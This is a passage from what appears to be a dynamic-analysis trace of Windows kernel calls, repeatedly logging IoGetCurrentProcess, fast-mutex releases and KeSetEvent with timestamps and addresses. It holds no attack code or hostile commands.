IoGetCurrentProcess () returned 0xffffe00001078440 [0213.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.786] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.847] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.848] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.910] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.910] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.911] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.972] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0213.972] IoGetCurrentProcess () returned 0xffffe00001078440 [0213.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0213.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.034] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.034] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.097] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.097] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.160] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.160] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.161] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.161] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.222] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.223] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.223] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.284] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.285] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.347] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.409] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.410] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.410] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.848] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.848] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.848] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0214.910] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.910] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.910] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.972] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0214.972] IoGetCurrentProcess () returned 0xffffe00001078440 [0214.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0214.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0215.034] IoGetCurrentProcess () returned 0xffffe00001078440 [0215.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0215.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0215.035] IoGetCurrentProcess () returned 0xffffe00001078440 [0215.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0215.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0215.097] IoGetCurrentProcess () returned 0xffffe00001078440 [0215.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0215.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0215.098] IoGetCurrentProcess () returned 0xffffe00001078440 [0215.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0215.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0215.409] IoGetCurrentProcess () returned 0xffffe00001078440 [0215.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0215.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0215.409] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0217.847] IoGetCurrentProcess () returned 0xffffe00001078440 [0217.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0217.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0217.847] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0218.362] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.362] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.363] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0218.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.425] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.487] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.487] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.550] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.551] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.551] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.654] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.654] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.706] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.706] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.769] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.769] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.831] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.831] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.893] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.894] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.956] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0218.956] IoGetCurrentProcess () returned 0xffffe00001078440 [0218.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0218.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.019] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.019] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.019] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.081] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.081] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.144] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.144] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.145] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.269] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.269] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.331] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.331] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.394] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0219.394] IoGetCurrentProcess () returned 0xffffe00001078440 [0219.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0219.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0220.784] IoGetCurrentProcess () returned 0xffffe00001078440 [0220.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0220.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0220.784] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0220.847] IoGetCurrentProcess () returned 0xffffe00001078440 [0220.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0220.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0220.847] IoGetCurrentProcess () returned 0xffffe00001078440 [0220.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0220.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0220.909] IoGetCurrentProcess () returned 0xffffe00001078440 [0220.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0220.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0220.909] IoGetCurrentProcess () returned 0xffffe00001078440 [0220.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0220.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0220.972] IoGetCurrentProcess () returned 0xffffe00001078440 [0220.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0220.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0220.973] IoGetCurrentProcess () returned 0xffffe00001078440 [0220.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0220.973] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0221.034] IoGetCurrentProcess () returned 0xffffe00001078440 [0221.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0221.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0221.034] IoGetCurrentProcess () returned 0xffffe00001078440 [0221.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0221.035] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0221.253] IoGetCurrentProcess () returned 0xffffe00001078440 [0221.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0221.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0221.253] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0223.753] IoGetCurrentProcess () returned 0xffffe00001078440 [0223.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0223.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0223.753] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0223.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0223.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0223.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0223.816] IoGetCurrentProcess () returned 0xffffe00001078440 [0223.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0223.816] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0223.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0223.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0223.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0223.878] IoGetCurrentProcess () returned 0xffffe00001078440 [0223.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0223.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0223.940] IoGetCurrentProcess () returned 0xffffe00001078440 [0223.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0223.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0223.940] IoGetCurrentProcess () returned 0xffffe00001078440 [0223.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0223.941] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0224.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.003] IoGetCurrentProcess () returned 0xffffe00001078440 [0224.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.050] IoGetCurrentProcess () returned 0xffffe00001078440 [0224.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.112] IoGetCurrentProcess () returned 0xffffe00001078440 [0224.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.113] IoGetCurrentProcess () returned 0xffffe00001078440 [0224.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.113] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0224.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.175] IoGetCurrentProcess () returned 0xffffe00001078440 [0224.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.175] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.267] IoGetCurrentProcess () returned 0xffffe00001078440 [0224.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.267] IoGetCurrentProcess () returned 0xffffe00001078440 [0224.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.285] IoGetCurrentProcess () returned 0xffffe00001078440 [0224.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.285] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0224.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.300] IoGetCurrentProcess () returned 0xffffe00001078440 [0224.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.082] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.083] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0225.144] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.144] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.206] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.269] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.269] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.269] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.331] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.331] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.394] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.394] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.394] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.456] IoGetCurrentProcess () returned 0xffffe00001078440 [0225.456] 